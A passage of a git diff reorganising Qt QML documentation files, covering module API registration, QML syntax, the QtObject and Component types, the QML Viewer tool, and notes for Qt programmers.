+ +/*! + \fn int qmlRegisterInterface(const char *typeName) + \relates QQmlEngine + + This template function registers the C++ type in the QML system + under the name \a typeName. + + #include <QtQml> to use this function. + + Returns the QML type id. +*/ + +/*! + \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QJSValue (*callback)(QQmlEngine *, QJSEngine *)) + \relates QQmlEngine + + This function may be used to register a module API provider \a callback in a particular \a uri + with a version specified in \a versionMajor and \a versionMinor. + + Installing a module API into a uri allows developers to provide arbitrary functionality + (methods and properties) in a namespace that doesn't necessarily contain elements. + + A module API may be either a QObject or a QJSValue. Only one module API provider + may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). + This function should be used to register a module API provider function which returns a QJSValue as a module API. + + \b{NOTE:} QJSValue module API properties will \b{not} trigger binding re-evaluation if changed. + + Usage: + \code + // first, define the module API provider function (callback). + static QJSValue *example_qjsvalue_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) + { + Q_UNUSED(engine) + + static int seedValue = 5; + QJSValue example = scriptEngine->newObject(); + example.setProperty("someProperty", seedValue++); + return example; + } + + // second, register the module API provider with QML by calling this function in an initialization function. + ... + qmlRegisterModuleApi("Qt.example.qjsvalueApi", 1, 0, example_qjsvalue_module_api_provider); + ... + \endcode + + In order to use the registered module API in QML, you must import the module API. + \qml + import QtQuick 2.0 + import Qt.example.qjsvalueApi 1.0 as ExampleApi + Item { + id: root + property int someValue: ExampleApi.someProperty + } + \endqml + */ + +/*! + \fn template<typename T> int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) + \relates QQmlEngine + + This function may be used to register a module API provider \a callback in a particular \a uri + with a version specified in \a versionMajor and \a versionMinor. + + Installing a module API into a uri allows developers to provide arbitrary functionality + (methods and properties) in a namespace that doesn't necessarily contain elements. + + A module API may be either a QObject or a QJSValue. Only one module API provider + may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). + This function should be used to register a module API provider function which returns a QObject + of the given type T as a module API. + + A QObject module API must be imported with a qualifier, and that qualifier may be used as + the target in a \l Connections element or otherwise used as any other element id would. + One exception to this is that a QObject module API property may not be aliased (because the + module API qualifier does not identify an object within the same component as any other item). + + \b{NOTE:} A QObject module API instance returned from a module API provider is owned by the QML + engine. For this reason, the module API provider function should \b{not} be implemented as a + singleton factory. + + Usage: + \code + // first, define your QObject which provides the functionality. + class ModuleApiExample : public QObject + { + Q_OBJECT + Q_PROPERTY (int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged) + + public: + ModuleApiExample(QObject* parent = 0) + : QObject(parent), m_someProperty(0) + { + } + + ~ModuleApiExample() {} + + Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; } + + int someProperty() const { return m_someProperty; } + void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); } + + signals: + void somePropertyChanged(int newValue); + + private: + int m_someProperty; + }; + + // second, define the module API provider function (callback). + static QObject *example_qobject_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) + { + Q_UNUSED(engine) + Q_UNUSED(scriptEngine) + + ModuleApiExample *example = new ModuleApiExample(); + return example; + } + + // third, register the module API provider with QML by calling this function in an initialization function. + ... + qmlRegisterModuleApi<ModuleApiExample>("Qt.example.qobjectApi", 1, 0, example_qobject_module_api_provider); + ... + \endcode + + In order to use the registered module API in QML, you must import the module API. + \qml + import QtQuick 2.0 + import Qt.example.qobjectApi 1.0 as ExampleApi + Item { + id: root + property int someValue: ExampleApi.someProperty + + Component.onCompleted: { + someValue = ExampleApi.doSomething() + } + } + \endqml + */ diff --git a/src/qml/doc/src/qmllanguage.qdoc b/src/qml/doc/src/qmllanguage.qdoc deleted file mode 100644 index a4cc1845d8..0000000000 --- a/src/qml/doc/src/qmllanguage.qdoc +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage.html -\ingroup qt-gui-concepts -\ingroup overviews -\title QML -\brief Provides a declarative language for building highly -dynamic applications. - -QML is a declarative language for creating flexible and reusable types. The -language features property binding, signal and handler event system, and a -mechanism to bind to the Qt Framework. JavaScript expressions bind to properties -to create dynamic applications. - - -\list - \li QML Introduction -\endlist - -\section1 Types and Properties - \list - \li \l{QML Basic Types}{Basic Types} - \li QML Types - \li \l{QML Components}{Components} - \li \l{Properties and Property Binding in QML}{Properties and Property Binding} - \li \l{QML Syntax} - \endlist - -\section1 Event System - \list - \li \l{QML Signal and Handler Event System}{Signal and Handler Event System} - \endlist - -\section1 JavaScript Expressions - \list - \li \l{List of JavaScript Objects and Functions} - \li \l{JavaScript Expressions in QML}{JavaScript Reference} - \endlist - -\section1 Imports and Namespaces - \list - \li \l{QML Modules}{Modules} - \endlist - -\section1 Managing QML Objects - \list - \li \l{Dynamic Object Management in QML}{Dynamic Object Management} - \li \l{QML Performance}{Performance} - \endlist - -\section1 Reference - \list - \li \l{QML Internationalization}{Internationalization} - \li \l{QtQuickTest Reference Documentation} - \li \l{Debugging QML} - \li \l{QML Coding Conventions}{Coding Conventions} - \li \l{QML Security}{Security Model} - \li \l{QML Scope}{Scope Model} - \li \l{QML Documents}{Documents} - \endlist -*/ diff --git a/src/qml/doc/src/qmlsyntax.qdoc b/src/qml/doc/src/qmlsyntax.qdoc deleted file mode 100644 index b6b9051c5c..0000000000 --- a/src/qml/doc/src/qmlsyntax.qdoc +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-syntax.html -\title QML Syntax -\ingroup QML Reference -\brief listing of valid QML syntax - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (\l{Javascript Guide}) before diving -deeper into QML. - -\section1 Basic QML Syntax - -QML looks like this: - -\code -import QtQuick 2.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endcode - -Objects are specified by their type, followed by a pair of braces. Object -types always begin with a capital letter. In the above example, there are -two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify -information about the object, such as its properties. - -Properties are specified as \c {propertyname: value}. In the above example, we -can see the Image has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\code -Rectangle { - width: 100 - height: 100 -} -\endcode - -or you can put multiple properties on a single line: - -\code -Rectangle { width: 100; height: 100 } -\endcode - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - -\section1 Expressions - -In addition to assigning values to properties, you can also assign -expressions written in JavaScript. - -\code -Rotation { - angle: 360 * 3 -} -\endcode - -These expressions can include references to other objects and properties, in which case -a \e binding is established: when the value of the expression changes, the property the -expression has been assigned to is automatically updated to that value. - -\code -Item { - Text { - id: text1 - text: "Hello World" - } - Text { - id: text2 - text: text1.text - } -} -\endcode - -In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, -\c text2 is automatically changed to the same value. - -Note that to refer to other objects, we use their \e id values. (See below for more -information on the \e id property.) - -\section1 QML Comments - -Commenting in QML is similar to JavaScript. -\list -\li Single line comments start with // and finish at the end of the line. -\li Multiline comments start with /* and finish with *\/ -\endlist - -\snippet qml/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\code -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endcode - -In the above example, the Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - -*/ diff --git a/src/qml/doc/src/qmltypereference.qdoc b/src/qml/doc/src/qmltypereference.qdoc new file mode 100644 index 0000000000..0cb3f31ada --- /dev/null +++ b/src/qml/doc/src/qmltypereference.qdoc @@ -0,0 +1,143 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-typereference-topic.html +\title QML Types Provided By The Qt QML Module +\brief List of QML types provided by the Qt QML module + +The Qt QML module provides the definition and implementation of the QML +language, and it also provides some elementary QML types which provide the +basis for further extensions to the QML language. + + + +The Qt QML module also provides the \c QtObject and \c Component types which +may be used in QML documents, by default. These types are non-visual and +provide building-blocks for extensions to QML. + + + +\section1 The QtQml Import + +The types provided by the Qt QML module are only available in a QML document +if that document imports the QtQml namespace (or if the document imports the +QtQuick namespace, as noted below). + +The current version of the import provided by the Qt QML module is version 2.0, +and thus it may be imported via the following statement: + +\tt{import QtQml 2.0} + +Most clients will never need to use the QtQml import, as all of the types and +functionality provided by the QtQml namespace are also provided by the QtQuick +namespace which may be imported as follows: + +\tt{import QtQuick 2.0} + +See the \l{Qt Quick} module documentation for more information about the +QtQuick namespace and what it provides to QML application developers. + +The documentation for the types below applies equally to the types of the same +name provided by the Qt Quick module, as they are in fact identical. + +\section1 QtObject + +The \c QtObject type provides a basic instantiable object which can be used in +QML applications. It is non-visual, but may have properties, methods, signals +and signal handlers. + +For example, the following QtObject has several properties, one of which has +been assigned a \l{Property Binding} +{binding}, and a \l{Signal and Handler Event System}{signal handler} for +the default change signal which exists for one of its properties: + +\code + import QtQuick 2.0 + + QtObject { + property int a: 15 + property int b: a + 22 + property int changeCount: 0 + + onAChanged: { + changeCount += 1; + } + } +\endcode + +\section1 Component + +The \c Component type provides a basic re-usable component which allows +instances of another type to be instantiated on-demand. It may be given an +\c id and it has a default property which is the object type to instantiate, +but no other properties may be added to it. + +For example, the following QtObject has two different Component properties, +and it uses those components to dynamically construct objects at run-time: + +\code + import QtQuick 2.0 + + QtObject { + id: root + property bool which: true + + property Component a: Component { + id: firstComponent + QtObject { + property int answer: 42 + function activate() { + console.log("The answer is: " + answer); + } + } + } + + property Component b: Component { + id: secondComponent + QtObject { + property string message: "Hello, World!" + function activate() { + console.log(message); + } + } + } + + function activateDynamicObject() { + var o = {}; + if (which) { + which = false; + o = a.createObject(null); // no parent + } else { + which = true; + o = b.createObject(null); // no parent + } + o.activate(); + } + } +\endcode + +*/ diff --git a/src/qml/doc/src/qmlviewer.qdoc b/src/qml/doc/src/qmlviewer.qdoc deleted file mode 100644 index 04c6b42966..0000000000 --- a/src/qml/doc/src/qmlviewer.qdoc +++ /dev/null @@ -1,235 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlviewer.html -\ingroup qtquick-tools -\title QML Viewer -\ingroup qttools -\brief a tool for testing and loading QML files - -The Declarative UI package includes QML Viewer, a tool for loading QML documents that -makes it easy to quickly develop and debug QML applications. It invokes the QML -runtime to load QML documents and also includes additional features useful for -the development of QML-based applications. - -The QML Viewer is a tool for testing and developing QML applications. It is -\e not intended for use in a production environment and should not be used for the -deployment of QML applications. In those cases, the QML runtime should be invoked -from a Qt application instead; see \l {Qt Declarative UI Runtime} for more -information. - -The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file -with the viewer, run the viewer and select the file to be opened, or provide the -file path on the command line: - -\code - qmlviewer myqmlfile.qml -\endcode - -On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You -can launch the viewer by opening the QMLViewer application from the Finder, or -from the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml -\endcode - -The QML Viewer has a number of configuration options involving features such as -fullscreen display, module import path configurations, video recording of QML -animations, and OpenGL support. - -To see the configuration options, run \c qmlviewer with the \c -help argument. - - -\section1 Adding module import paths - -Additional module import paths can be provided using the \c -I flag. -For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates -a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced -identifier, the viewer has to be run with the \c -I flag from the example's -base directory: - -\code -qmlviewer -I . plugins.qml -\endcode - -This adds the current directory to the import path so that the viewer will -find the plugin in the \c com/nokia/TimeExample directory. - -Note by default, the current directory is included in the import search path, -but namespaced modules like \c com.nokia.TimeExample are not found unless -the path is explicitly added. - - -\section1 Loading translation files - -When the QML Viewer loads a QML file, it installs a translation file from a -"i18n" subdirectory relative to that initial file. This directory should contain -translation files named "qml_<language>.qm", where <language> is a two-letter -ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and -an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or -"qml_fr_CA.qm". - -Such files can be created using \l {Qt Linguist}. - -The actual translation file that is loaded depends on the system locale. -Additionally, the viewer will load any translation files specified on the command -line via the \c -translation option. - -See the \l{declarative/i18n}{QML i18n example} for an example. Also, the -\l{scripting.html#internationalization}{Qt Internationalization} documentation -shows how JavaScript code in QML files can be made to use translatable strings. - - -\section1 Loading placeholder data with QML Viewer - -Often, QML applications are prototyped with fake data that is later replaced -by real data sources from C++ plugins. QML Viewer assists in this aspect by -loading fake data into the application context: it looks for a directory named -"dummydata" in the same directory as the target QML file, and any \c .qml -files in that directory are loaded as QML objects and bound to the root context -as properties named after the files. - -For example, this QML document refers to a \c lottoNumbers property which does -not actually exist within the document: - -\qml -import QtQuick 2.0 - -ListView { - width: 200; height: 300 - model: lottoNumbers - delegate: Text { text: number } -} -\endqml - -If within the document's directory, there is a "dummydata" directory which -contains a \c lottoNumbers.qml file like this: - -\qml -import QtQuick 2.0 - -ListModel { - ListElement { number: 23 } - ListElement { number: 44 } - ListElement { number: 78 } -} -\endqml - -Then this model would be automatically loaded into the ListView in the previous document. - -Child properties are included when loaded from dummy data. The following document -refers to a \c clock.time property: - -\qml -import QtQuick 2.0 -Text { text: clock.time } -\endqml - -The text value could be filled by a \c dummydata/clock.qml file with a \c time -property in the root context: - -\qml -import QtQuick 2.0 -QtObject { property int time: 54321 } -\endqml - -To replace this with real data, you can simply bind the real data object to -the root context in C++ using QQmlContext::setContextProperty(). This -is detailed in \l {Using QML Bindings in C++ Applications}. - -\section1 Using the \c runtime object - -QML applications that are loaded with the QML Viewer have access to a special -\c runtime property on the root context. This property provides additional -information about the application's runtime environment through the following properties: - -\table -\row - -\li \c runtime.isActiveWindow - -\li This property indicates whether the QML Viewer window is the current active -window on the system. It is useful for "pausing" an application, particularly -animations, when the QML Viewer loses focus or moves to the background. - -For example, the following animation is only played when the QML Viewer is -the active window: - -\qml -Rectangle { - width: 200; height: 200 - - ColorAnimation on color { - running: runtime.isActiveWindow - loops: Animation.Infinite - from: "green"; to: "blue"; duration: 2000 - } -} -\endqml - -\b{Note:} Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, -through the \c active property of the \l {QML:Qt::application}{Qt.application} object. - -\row - -\li \c runtime.orientation - -\li This property indicates the current orientation of the QML Viewer. -This indicates the orientation currently selected in the QML Viewer's -\e {Settings -> Properties} menu. The \c orientation value can be one of the following: - -\list -\li \c Orientation.Portrait -\li \c Orientation.Landscape -\li \c Orientation.PortraitInverted (Portrait orientation, upside-down) -\li \c Orientation.LandscapeInverted (Landscape orientation, upside-down) -\endlist - -When the viewer's orientation changes, the appearance of the loaded QML document -does not change unless it has been set to respond to changes in -\c runtime.orientation. For example, the following Rectangle changes its -aspect ratio depending on the orientation of the QML Viewer: - -\qml -Rectangle { - id: window - width: 640; height: 480 - - states: State { - name: "landscape" - PropertyChanges { target: window; width: 480; height: 640 } - } - state: (runtime.orientation == Orientation.Landscape - || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : '' -} -\endqml - -\endtable -*/ - diff --git a/src/qml/doc/src/qtprogrammers.qdoc b/src/qml/doc/src/qtprogrammers.qdoc deleted file mode 100644 index fd47d9bf58..0000000000 --- a/src/qml/doc/src/qtprogrammers.qdoc +++ /dev/null @@ -1,197 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtprogrammers.html -\target qtprogrammers -\title QML for Qt Programmers -\brief learning QML for programmers with Qt knowledge - -While QML does not require Qt knowledge to use, if you \e are already familiar with Qt, -much of your knowledge is directly relevant to learning and using QML. Of course, -an application with a user interface defined in QML also uses Qt for all the non-UI -logic. - -\section1 Familiar Concepts - -QML provides direct access to the following concepts from Qt: - -\list - \li QAction - the \l {QML Basic Types}{action} type - \li QObject signals and slots - available as functions to call in JavaScript - \li QObject properties - available as variables in JavaScript - \li QWidget - QQuickView is a QML-displaying widget - \li Qt models - used directly in data binding (QAbstractItemModel) -\endlist - -Qt knowledge is \e required for \l{Extending QML with C++}, -and also for \l{Integrating QML Code with existing Qt UI code}. - -\section1 QML Items Compared with Widgets - -QML Items are very similar to widgets: they define the look and feel of the user -interface. Note that, while widgets haven't traditionally been used to define the -look and feel of view delegates, QML Items can be used for this as well. - -There are three structurally different types of widget: - -\list - \li Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) - \li Parent widgets that are normally used as parents to other widgets (QGroupBox, - QStackedWidget, QTabWidget, etc.) - \li Compound widgets that are internally composed of child widgets (QComboBox, - QSpinBox, QFileDialog, QTabWidget, etc.) -\endlist - -QML Items also serve these purposes. Each is considered separately below. - -\section2 Simple Widgets - -The most important rule to remember while implementing a new QQuickItem in C++ -is that it should not contain any look and feel policies; leave that to the QML -usage of the item. - -As an example, imagine you wanted a reusable Button item. If you therefore decided -to write a QQuickItem subclass to implement a button, just as QToolButton -subclasses QWidget for this purpose, following the rule above, your -\c QDeclarativeButton would not have any appearance; just the notions of enabled, -triggering, etc. - -However, there is already an object in Qt that does this: QAction. - -QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, -QToolButton, and other visual widgets that are commonly bound to a QAction. - -So, the job of implementing a checkbox abstraction for QML is already done by QAction. -The look and feel of an action, the appearance of the button, the transition -between states, and exactly how it responds to mouse, key, or touch input, should -all be left for definition in QML. - -It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, -QQuickWebView is built upon QWebPage, and ListView uses QAbstractItemModel, -just as QTextEdit, QWebView, and QListView are built upon those same UI-agnostic -components. - -The encapsulation of the look and feel that widgets provide is important, and for -this the QML concept of \l{QML Documents}{components} serves the same purpose. -If you are building a complete suite of applications which should have a -consistent look and feel, you should build a set of reusable components with the -look and feel you desire. - -So, to implement your reusable button, you would simply build a QML component. - - -\section2 Parent Widgets - -Parent widgets each provide a generic way to provide an interface to one or more -arbitrary widgets. A QTabWidget provides an interface to multiple "pages", one of -which is visible at any time, and a mechanism for selecting among them: the QTabBar. -A QScrollArea provides scrollbars around a widget that is otherwise too large to -fit in the available space. - -Nearly all such components can be created directly in QML. Only a few cases -which require very particular event handling, such as \l Flickable, require C++ -implementations. - -As an example, imagine you decided to make a generic tab widget item to be used -through your application suite wherever information is in such quantity that it -needs to be divided up into pages. - -A significant difference in the parenting concept with QML compare to QWidgets -is that while child items are positioned relative to their parents, there is no -requirement that they be wholly contained ("clipped") to the parent (although the -\l{Item::}{clipped} property of the child item does allow this where it is needed). -This difference has rather far-reaching consequences, for example: - -\list -\li A shadow or highlight around a widget could be a child of that widget. -\li Particle effects can flow outside the object where they originate. -\li Transitioning animations can "hide" items by visibly moving them beyond - the screen bounds. -\endlist - -\section2 Compound Widgets - -Some widgets provide functionality by composing other widgets as an "implementation -detail", providing a higher level API to the composition. QSpinBox for example is a -line edit and some buttons to increase/decrease the edited value. QFileDialog uses -a whole host of widgets to give the user a way of finding and selecting a file -name. - -When developing reusable QML Items, you may choose to do the same: build an item -composed of other items you have already defined. - -The only caveat when doing this is to consider the possible animations and -transitions that users of the compound item might wish to employ. For example, a -spinbox might need to smoothly transition from an arbitrary \l Text item, or -characters within a \l Text item, so your spinbox item would need to be sufficiently -flexible to allow such animation. - -\section1 QML Items Compared with Graphics Widgets - -The main difference between QML items and QGraphicsWidgets is how they are intended -to be used. The technical implementation details are much the same, but in practice -they are different because QML items are made for declarative and compositional use, -and QGraphicsWidgets are made for imperative and more integrated use. Both QML items -and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences -are in the layout system and the interfacing with other components. Note that, as -QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a -QGraphicsWidget may be many QML items composed across several QML files, but it can -still be loaded and used as a single QGraphicsObject from C++. - -QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does -not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid -UIs, so the geometry interface is one of the main differences. When writing QML -elements, you allow the designers to place their bounding rectangle using absolute -geometry, bindings or anchors (all set up for you when you inherit QQuickItem) -and you do not use layouts or size hints. If size hints are appropriate, then place -them in the QML documentation so that the designers know how to use the item best, -but still have complete control over the look and feel. - -The other main difference is that QGraphicsWidgets tend to follow the widget model, -in that they are a self-contained bundle of UI and logic. In contrast, QML -primitives are usually a single purpose item that does not fulfill a use case on -its own, but is composed into the equivalent of the widget inside the QML file. So -when writing QML Items, try to avoid doing UI logic or composing visual elements -inside the items. Try instead to write more general purpose primitives, so that the -look and feel (which involves the UI logic) can be written in QML. - -Both differences are caused by the different method of interaction. QGraphicsWidget -is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and -QQuickItem is a QGraphicsObject subclass which makes fluid UI development -from QML easier. The difference, therefore, is primarily one of the interface -exposed, and the design of the items that come with it; the declarative primitives -for QML and nothing for QGraphicsWidget, because you need to write your own UI -logic into the subclass. - -If you wish to use both QML and C++ to write the UI, for example to ease the -transition period, it is recommended to use QQuickItem subclasses, although -you can use QGraphicsWidgets as well. To allow for easier use from C++, make the -root item of each C++ component a \l LayoutItem, and load individual "widgets" of -QML (possibly comprised of multiple files, and containing a self-contained bundle -of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time. -*/ diff --git a/src/quick/doc/src/canvaspainting.qdoc b/src/qml/doc/src/qtqml-cpp.qdoc index d99e31ff12..514a94d161 100644 --- a/src/quick/doc/src/canvaspainting.qdoc +++ b/src/qml/doc/src/qtqml-cpp.qdoc @@ -24,17 +24,27 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-canvas -\ingroup qml-features -\title Canvas API -\brief Custom graphics with the Canvas API +\module QtQml +\title Qt QML Module C++ API Reference +\brief The C++ API provided by the Qt QML module + +To include the definitions of the module's classes, use the +following directive: + +\code +#include <QtQml> +\endcode -\section1 Related Types -\generatelist{related} +To link against the module, add this line to your \l qmake \c +.pro file: -The Canvas and Context2D elements implement the \l{HTML Canvas API 2D Context} -and allows applications to have custom painting routines. +\code +QT += qml +\endcode +For more information on the Qt QML module, see the +\l{qtqml-main.html}{Qt QML module} documentation. */ + + diff --git a/src/qml/doc/src/qtqml.qdoc b/src/qml/doc/src/qtqml.qdoc index 915f54e22c..e4cefc2d46 100644 --- a/src/qml/doc/src/qtqml.qdoc +++ b/src/qml/doc/src/qtqml.qdoc @@ -24,339 +24,169 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - -/*! - \module QtQml - \title Qt QML Module - \ingroup modules - - \brief The Qt QML module provides a declarative framework - for building highly dynamic, custom user interfaces. - - To include the definitions of the module's classes, use the - following directive: - - \code - #include <QtQml> - \endcode - - To link against the module, add this line to your \l qmake \c - .pro file: - - \code - QT += qml - \endcode - - For more information on the Qt QML module (including the visual - elements which are implemented on top of the Qt QML module) see the - \l{Qt Quick} documentation. -*/ - - -/*! - \macro QML_DECLARE_TYPE() - \relates QQmlEngine - - Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QQmlListProperty<TYPE>) - - #include <QtQml> to use this macro. -*/ - -/*! - \macro QML_DECLARE_TYPEINFO(Type,Flags) - \relates QQmlEngine - - Declares additional properties of the given \a Type as described by the - specified \a Flags. - - Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which - declares that the \a Type supports \l {Attached Properties}. - - #include <QtQml> to use this macro. -*/ - - -/*! - \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \relates QQmlEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - There are two forms of this template function: - - \code - template<typename T> - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - - template<typename T, int metaObjectRevision> - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - \endcode - - The former is the standard form which registers the type \e T as a new type. - The latter allows a particular revision of a class to be registered in - a specified version (see \l {QML Type Versioning}). - - - For example, this registers a C++ class \c MySliderItem as a QML type - named \c Slider for version 1.0 of a \l{QML Modules}{module} called - "com.mycompany.qmlcomponents": - - \code - #include <QtQml> - - ... - - qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider"); - \endcode - - Once this is registered, the type can be used in QML by importing the - specified module name and version number: - - \qml - import com.mycompany.qmlcomponents 1.0 - - Slider { - // ... - } - \endqml - - Note that it's perfectly reasonable for a library to register types to older versions - than the actual version of the library. Indeed, it is normal for the new library to allow - QML written to previous versions to continue to work, even if more advanced versions of - some of its types are available. -*/ - -/*! - \fn int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) - \relates QQmlEngine - - This template function registers the specified revision of a C++ type in the QML system with - the library imported from \a uri having the version number composed - from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - \code - template<typename T, int metaObjectRevision> - int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor); - \endcode - - This function is typically used to register the revision of a base class to - use for the specified module version (see \l {QML Type Versioning}). -*/ - -/*! - \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QQmlEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - While the type has a name and a type, it cannot be created, and the - given error \a message will result if creation is attempted. - - This is useful where the type is only intended for providing attached properties or enum values. - - Returns the QML type id. - - #include <QtQml> to use this function. - - \sa qmlRegisterTypeNotAvailable() -*/ - -/*! - \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QQmlEngine - - This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type - will produce the given error \a message. - - Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should - at least "reserve" the QML type name, and give the user of your module a meaningful error message. - - Returns the QML type id. - - Example: - - \code - #ifdef NO_GAMES_ALLOWED - qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); - #else - qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game"); - #endif - \endcode - - This will cause any QML which uses this module and attempts to use the type to produce an error message: - \code - fun.qml: Get back to work, slacker! - Game { - ^ - \endcode - - Without this, a generic "Game is not a type" message would be given. - - #include <QtQml> to use this function. - - \sa qmlRegisterUncreatableType() -*/ - -/*! - \fn int qmlRegisterType() - \relates QQmlEngine - \overload - - This template function registers the C++ type in the QML - system. Instances of this type cannot be created from the QML - system. - - #include <QtQml> to use this function. - - Returns the QML type id. -*/ - /*! - \fn int qmlRegisterInterface(const char *typeName) 